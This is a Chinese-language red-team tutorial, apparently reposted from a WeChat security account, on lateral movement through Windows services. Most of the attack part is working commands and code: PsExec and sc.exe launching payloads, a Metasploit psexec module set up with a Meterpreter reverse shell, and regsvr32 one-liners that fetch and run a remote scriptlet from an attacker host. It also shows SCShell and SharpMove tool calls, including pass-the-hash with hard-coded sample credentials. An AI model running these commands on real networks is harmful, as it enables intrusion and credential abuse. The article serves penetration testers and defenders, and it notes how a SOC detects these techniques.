过去,通常将具有特权提升的服务用作特权提升或持久性的方法。但是,由于本地管理员有权创建/重新启动服务以及修改二进制路径,因此可以将服务用于横向移动。PsExec是使用服务进行横向移动的第一个实现,因为它是一个受信任的Microsoft实用程序,可以推送任意文件并注册一个服务,该服务将在目标主机上执行此文件,从而允许威胁参与者建立访问权限。
以下命令将创建一个SMB服务器,该服务器将承载任意有效负载。
impacket-smbserver pentestlab /msbuild -smb2support
运行PsExec将使用目标主机上的本地管理员凭据进行身份验证,并将从UNC路径执行有效负载“ pentestlab.exe ”。结果,Meterpreter会话将打开。
PsExec64.exe \PC1 -u pentestlab -p Password123 cmd.exe /c \10.0.0.21pentestlabpentestlab.exe
Metasploit Framework具有一个可以通过SMB横向移动执行的模块,类似于PsExec。该模块要求使用纯文本格式的管理员密码或管理员哈希。
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set LPORT <Local Port>
set LHOST <Local IP>
set SMBUSER <local admin username>
set SMBPASS <local admin password>
exploit
Metasploit – PsExec模块
基于PowerShell的有效负载将在目标上执行,并将建立一个新会话。
Metasploit – PsExec Meterpreter
但是,这两种方法都非常嘈杂,即使可以在渗透测试中使用,也应避免在红色团队中使用。使用PsExec进行横向移动非常容易发现,因为将在系统上创建新服务,并且成熟的安全运营中心(SOC)应该已经发出警报。
PsExec –服务
服务控制(SC.exe)是Microsoft实用程序,管理员可以使用它在Windows环境中创建,修改,删除,启动和停止服务。与需要将其拖放到磁盘的PsExec相比,该实用程序是Windows的一部分,可以直接滥用以创建将执行无文件有效负载的新服务。
sc \PC1 create pentestlab binpath= "C:WindowsSystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/pentestlab.sct scrobj.dll"
sc \PC1 start pentestlab
Meterpreter – SC
Un1k0d3r先生在他的工具SCShell中实现了一种使用服务的横向移动的新方法。.NET版本使用“ OpenSCManager ” API,该API根据Microsoft文档使用远程过程调用,它不创建新服务,因为它依赖于对现有服务的二进制路径的修改,并且可以与无文件一起使用有效载荷通过使用regsvr32方法。
[ ]
public static extern IntPtr OpenSCManager(
string lpMachineName,
string lpDatabaseName,
uint dwDesiredAccess);
与上述现有技术相比,这为通过服务的横向移动引入了一种新的更隐秘的方法,具有更高的安全性。
SCShell.exe 10.0.0.11 XblAuthManager "C:windowssystem32cmd.exe /c C:windowssystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/p
entestlab.sct scrobj.dll" . pentestlab Password123
了“的Python实现SCShell ”使用“ DCERPC ”进行认证,而不是SMB,并且可以从一个非域来执行接合系统。
def run(
self,
remoteName,
remoteHost,
serviceName,
noCmd,
):
exitCli = False
stringBinding = epm.hept_map(remoteName, scmr.MSRPC_UUID_SCMR, protocol='ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
logging.debug('binding to %s' % stringBinding)
rpctransport.set_credentials(
python3 scshell.py pentestlaboratories/pentestlab@10.0.0.11 -hashes aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71
C:windowssystem32cmd.exe /c
C:windowssystem32regsvr32.exe /s /n /u /i:http://10.0.0.21:8080/pentestlab.sct scrobj.dll
另一种选择是使用WMI对目标主机进行身份验证,以便修改SharpMove中实现的现有服务。
static ManagementScope WMIConnect(string host, string username, string password)
{
string wmiNameSpace = "root\CIMv2";
ConnectionOptions options = new ConnectionOptions();
Console.WriteLine("rn Host : {0}", host);
if (!String.IsNullOrEmpty(username))
{
Console.WriteLine("[+] User credentials : {0}", username);
options.Username = username;
options.Password = password;
}
以下命令将通过修改现有服务(类似于“ SCShell ”工具),从目标主机上的UNC路径执行任意有效负载。
SharpMove.exe action=modsvc computername=PC1 command="cmd.exe /c \10.0.0.21pentestlabpentestlab.exe" amsi=true servicename=pentestlab username=pentestlab password=Password123
横向运动– SharpMove
总体而言,通过服务进行的横向移动已从SMB协议过渡到RPC和WMI。现代工具试图修改有效服务的二进制路径并执行无文件有效载荷以横向移动,从而使红色团队可以继续使用这种技术,并使SOC团队意识到监视网络上的远程过程调用以识别此类攻击。
参考
-
https://attack.mitre.org/techniques/T1021/002/
-
https://github.com/0xthirteen/SharpMove
-
https://github.com/Mr-Un1k0d3r/SCShell
本文始发于微信公众号(Ots安全):横向渗透测试–服务
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论